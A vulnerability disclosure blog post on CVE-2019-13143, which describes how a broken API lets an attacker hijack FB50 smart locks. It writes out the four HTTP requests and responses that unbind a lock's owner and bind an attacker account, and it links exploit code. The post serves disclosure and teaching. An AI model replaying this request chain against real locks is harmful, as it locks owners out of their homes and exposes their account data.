pages/blog/fb50.md (view raw)
1---
2template: text.html
3title: Picking the FB50 smart lock (CVE-2019-13143)
4subtitle: … and lessons learnt in IoT security
5date: 2019-08-05
6---
7
8(*originally posted at [SecureLayer7's Blog](http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure), with my edits*)
9
10### The lock
11
12The lock in question is the FB50 smart lock, manufactured by Shenzhen
13Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
14across many ecommerce sites, and has over, an estimated, 15k+ users.
15
16The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
17the Play/App Store to function. The app requires the user to create an
18account before further functionality is available.
19It also facilitates configuring the fingerprint,
20and unlocking from a range via Bluetooth.
21
22We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
23and the Android app.
24
25### Via Bluetooth Low Energy (BLE)
26
27Android phones have the ability to capture Bluetooth (HCI) traffic
28which can be enabled under Developer Options under Settings. We made
29around 4 "unlocks" from the Android phone, as seen in the screenshot.
30
31
32
33This is the value sent in the `Write` request:
34
35
36
37We attempted replaying these requests using `gattool` and `gattacker`,
38but that didn't pan out, since the value being written was encrypted.[^1]
39
40### Via the Android app
41
42Reversing the app using `jd-gui`, `apktool` and `dex2jar` didn't get us too
43far since most of it was obfuscated. Why bother when there exists an
44easier approach -- BurpSuite.
45
46We captured and played around with a bunch of requests and responses,
47and finally arrived at a working exploit chain.
48
49### The exploit
50
51The entire exploit is a 4 step process consisting of authenticated
52HTTP requests:
53
541. Using the lock's MAC (obtained via a simple Bluetooth scan in the
55vicinity), get the barcode and lock ID
562. Using the barcode, fetch the user ID
573. Using the lock ID and user ID, unbind the user from the lock
584. Provide a new name, attacker's user ID and the MAC to bind the attacker
59to the lock
60
61This is what it looks like, in essence (personal info redacted).
62
63#### Request 1
64
65```
66POST /oklock/lock/queryDevice
67{"mac":"XX:XX:XX:XX:XX:XX"}
68```
69
70Response:
71
72```
73{
74 "result":{
75 "alarm":0,
76 "barcode":"<BARCODE>",
77 "chipType":"1",
78 "createAt":"2019-05-14 09:32:23.0",
79 "deviceId":"",
80 "electricity":"95",
81 "firmwareVersion":"2.3",
82 "gsmVersion":"",
83 "id":<LOCK ID>,
84 "isLock":0,
85 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
86 "lockPwd":"000000",
87 "mac":"XX:XX:XX:XX:XX:XX",
88 "name":"lock",
89 "radioName":"BlueFPL",
90 "type":0
91 },
92 "status":"2000"
93}
94```
95
96#### Request 2
97
98```
99POST /oklock/lock/getDeviceInfo
100
101{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
102```
103
104Response:
105
106```
107 "result":{
108 "account":"email@some.website",
109 "alarm":0,
110 "barcode":"<BARCODE>",
111 "chipType":"1",
112 "createAt":"2019-05-14 09:32:23.0",
113 "deviceId":"",
114 "electricity":"95",
115 "firmwareVersion":"2.3",
116 "gsmVersion":"",
117 "id":<LOCK ID>,
118 "isLock":0,
119 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
120 "lockPwd":"000000",
121 "mac":"XX:XX:XX:XX:XX:XX",
122 "name":"lock",
123 "radioName":"BlueFPL",
124 "type":0,
125 "userId":<USER ID>
126 }
127```
128
129#### Request 3
130
131```
132POST /oklock/lock/unbind
133
134{"lockId":"<LOCK ID>","userId":<USER ID>}
135```
136#### Request 4
137
138```
139POST /oklock/lock/bind
140
141{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
142```
143
144### That's it! (& the scary stuff)
145
146You should have the lock transferred to your account. The severity of this
147issue lies in the fact that the original owner completely loses access to
148their lock. They can't even "rebind" to get it back, since the current owner
149(the attacker) needs to authorize that.
150
151To add to that, roughly 15,000 user accounts' info are exposed via IDOR.
152Ilja, a cool dude I met on Telegram, noticed locks named "carlock",
153"garage", "MainDoor", etc.[^2] This is terrifying.
154
155*shudders*
156
157### Proof of Concept
158
159[PoC Video](https://twitter.com/icyphox/status/1158396372778807296)
160
161[Exploit code](https://github.com/icyphox/pwnfb50)
162
163### Disclosure timeline
164
165- **26th June, 2019**: Issue discovered at SecureLayer7, Pune
166- **27th June, 2019**: Vendor notified about the issue
167- **2nd July, 2019**: CVE-2019-13143 reserved
168- No response from vendor
169- **2nd August 2019**: Public disclosure
170
171### Lessons learnt
172
173**DO NOT**. Ever. Buy. A smart lock. You're better off with the "dumb" ones
174with keys. With the IoT plague spreading, it brings in a large attack surface
175to things that were otherwise "unhackable" (try hacking a "dumb" toaster).
176
177The IoT security scene is rife with bugs from over 10 years ago, like
178executable stack segments[^3], hardcoded keys, and poor development
179practices in general.
180
181Our existing threat models and scenarios have to be updated to factor
182in these new exploitation possibilities. This also broadens the playing
183field for cyber warfare and mass surveillance campaigns.
184
185### Researcher info
186
187This research was done at [SecureLayer7](https://securelayer7.net), Pune, IN by:
188
189* Anirudh Oppiliappan (me)
190* S. Raghav Pillai ([@_vologue](https://twitter.com/_vologue))
191* Shubham Chougule ([@shubhamtc](https://twitter.com/shubhamtc))
192
193[^1]: [This](https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/) article discusses a similar smart lock, but they broke the encryption.
194[^2]: Thanks to Ilja Shaposhnikov (@drakylar).
195[^3]: [PDF](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf)
196
197